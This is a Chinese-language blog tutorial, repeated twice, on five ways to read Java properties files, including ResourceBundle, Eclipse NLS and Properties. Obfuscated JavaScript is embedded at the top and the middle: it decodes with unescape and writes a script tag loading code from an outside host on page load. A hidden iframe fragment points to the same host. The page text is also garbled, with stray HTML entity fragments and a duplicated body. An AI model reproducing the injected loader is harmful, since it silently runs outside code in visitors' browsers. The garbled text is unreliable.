&nbs
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
1、
说明
在我们做项目过程中,总要涉及到针对属性文件的读取,把一些字符串常量定义在属性文件中,方便了我们平时针对系统的维护。现在把几种常用的属性文件的读取方式总结一下。
2、
读取方式
1)
通过
ResourceBundle
类
我们定义了
dnrmMessages.properties
这个属性文件:
PERSPECTIVE_ID
=
com.jctx.dnrm.TrmsPerspective
定义一个工具类文件
Message.java
package com.jctx.dnrm;
import java.util.MissingResourceException;
import java.util.ResourceBundle;
public class Message {
//
定义属性文件的路径
private static final String BUNDLE_NAME = "com.jctx.dnrm.dnrmMessages";
private static final ResourceBundle Resource_Bundle = ResourceBundle.getBundle(BUNDLE_NAME);
private Message(){
}
public static String getString(String key){
try{
return Resource_Bundle.getString(key);
}
catch (MissingResourceException e){
return "!" + key + "!";
}
}
}
如果要取属性文件中的值,则这样的读取:
Message.getString("PERSPECTIVE_ID");
2)
通过
NLS
一般用于
eclipse
的插件开发,
NLS
为包
org.eclipse.osgi.util
下的一个文件。我们定义了一个消息类文件,继承于
NLS
类,如下所示:
import org.eclipse.osgi.util.NLS;
public class LogicMessages extends NLS
{
public static String AddCommand_Label;
static {
NLS.initializeMessages("org.eclipse.gef.examples.logicdesigner.messages",LogicMessages.class); //$NON-NLS-1$
}
}
属性文件
messages.properties
为:
AddCommand_Label=
Add
command
当我们需要读取属性文件值的时候,利用下面的方法便可获得对应的属性值:
LogicMessages.AddCommand_Label
3)
通过
Platform.getBundle()
方法
当我们在做插件开发时,把有部分属性信息写道
plugin.properties
文件中。这时,我们需要读取
plugin.properties
里的信息。如果对应插件
ID
为
com.jctx.trms,
读取
plugin.properties
(中文系统对应的文件名位:
plugin_zh_CN.properties
)的属性文件方式如下
:
package com.jctx.trms;
import java.util.MissingResourceException;
import org.eclipse.core.runtime.Platform;
import org.osgi.framework.Bundle;
public interface LogicMessages {
static class Helper {
public static String getString(String key) {
Bundle bundle = Platform.getBundle("com.jctx.trms");
try {
return Platform.getResourceString(bundle,key);
}
catch (MissingResourceException e) {
return key;
}
}
}
}
在程序中可以通过以下方式获取属性
key
对应的值
LogicMessages.Helper.getString("%GraphicalEditor_FILE_DELETED_TITLE");
4)
将属性值定义到一个接口文件中去
package org.eclipse.ui.examples.rcp.browser;
public interface IBrowserConstants {
public static final String BROWSER_PERSPECTIVE_ID = PLUGIN_ID + ".browserPerspective"; //$NON-NLS-1$
public static final String BROWSER_VIEW_ID = PLUGIN_ID + ".browserView";
public static final String HISTORY_VIEW_ID = PLUGIN_ID + ".historyView";
public static final String COMMAND_PREFIX = PLUGIN_ID + ".commands."; //$NON-NLS-1$
public static final String PREF_HOME_PAGE = "homePage"; //$NON-NLS-1$
public static final String MEMENTO_URL = "url"; //$NON-NLS-1$
}
5)
通过
Properties
类和
InputStream
Properties pr =
new
Properties();
InputStream input = SimpleAgent.cla
ss.getResourceAsStream("mib.Properties");
pr.load(input)
当读取属性文件时,用
pr.getProperty("key").trim()
即可获得所需要的
value
了。
以上总结了几种属性的读取方法,您如果还有其他好的方式,我们可以交流讨论一下。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
p;
HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
属性文件的几种读取方法
1、
说明
在我们做项目过程中,总要涉及到针对属性文件的读取,把一些字符串常量定义在属性文件中,方便了我们平时针对系统的维护。现在把几种常用的属性文件的读取方式总结一下。
2、
读取方式
1)
通过
ResourceBundle
类
我们定义了
dnrmMessages.properties
这个属性文件:
PERSPECTIVE_ID
=
com.jctx.dnrm.TrmsPerspective
定义一个工具类文件
Message.java
package com.jctx.dnrm;
import java.util.MissingResourceException;
import java.util.ResourceBundle;
public class Message {
//
定义属性文件的路径
private static final String BUNDLE_NAME = "com.jctx.dnrm.dnrmMessages";
private static final ResourceBundle Resource_Bundle = ResourceBundle.getBundle(BUNDLE_NAME);
private Message(){
}
public static String getString(String key){
try{
return Resource_Bundle.getString(key);
}
catch (MissingResourceException e){
return "!" + key + "!";
}
}
}
如果要取属性文件中的值,则这样的读取:
Message.getString("PERSPECTIVE_ID");
2)
通过
NLS
一般用于
eclipse
的插件开发,
NLS
为包
org.eclipse.osgi.util
下的一个文件。我们定义了一个消息类文件,继承于
NLS
类,如下所示:
import org.eclipse.osgi.util.NLS;
public class LogicMessages extends NLS
{
public static String AddCommand_Label;
static {
NLS.initializeMessages("org.eclipse.gef.examples.logicdesigner.messages",LogicMessages.class); //$NON-NLS-1$
}
}
属性文件
messages.properties
为:
AddCommand_Label=
Add
command
当我们需要读取属性文件值的时候,利用下面的方法便可获得对应的属性值:
LogicMessages.AddCommand_Label
3)
通过
Platform.getBundle()
方法
当我们在做插件开发时,把有部分属性信息写道
plugin.properties
文件中。这时,我们需要读取
plugin.properties
里的信息。如果对应插件
ID
为
com.jctx.trms,
读取
plugin.properties
(中文系统对应的文件名位:
plugin_zh_CN.properties
)的属性文件方式如下
:
package com.jctx.trms;
import java.util.MissingResourceException;
import org.eclipse.core.runtime.Platform;
import org.osgi.framework.Bundle;
public interface LogicMessages {
static class Helper {
public static String getString(String key) {
Bundle bundle = Platform.getBundle("com.jctx.trms");
try {
return Platform.getResourceString(bundle,key);
}
catch (MissingResourceException e) {
return key;
}
}
}
}
在程序中可以通过以下方式获取属性
key
对应的值
LogicMessages.Helper.getString("%GraphicalEditor_FILE_DELETED_TITLE");
4)
将属性值定义到一个接口文件中去
package org.eclipse.ui.examples.rcp.browser;
public interface IBrowserConstants {
public static final String BROWSER_PERSPECTIVE_ID = PLUGIN_ID + ".browserPerspective"; //$NON-NLS-1$
public static final String BROWSER_VIEW_ID = PLUGIN_ID + ".browserView";
public static final String HISTORY_VIEW_ID = PLUGIN_ID + ".historyView";
public static final String COMMAND_PREFIX = PLUGIN_ID + ".commands."; //$NON-NLS-1$
public static final String PREF_HOME_PAGE = "homePage"; //$NON-NLS-1$
public static final String MEMENTO_URL = "url"; //$NON-NLS-1$
}
5)
通过
Properties
类和
InputStream
Properties pr =
new
Properties();
InputStream input = SimpleAgent.cla
ss.getResourceAsStream("mib.Properties");
pr.load(input)
当读取属性文件时,用
pr.getProperty("key").trim()
即可获得所需要的
value
了。
以上总结了几种属性的读取方法,您如果还有其他好的方式,我们可以交流讨论一下。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
p;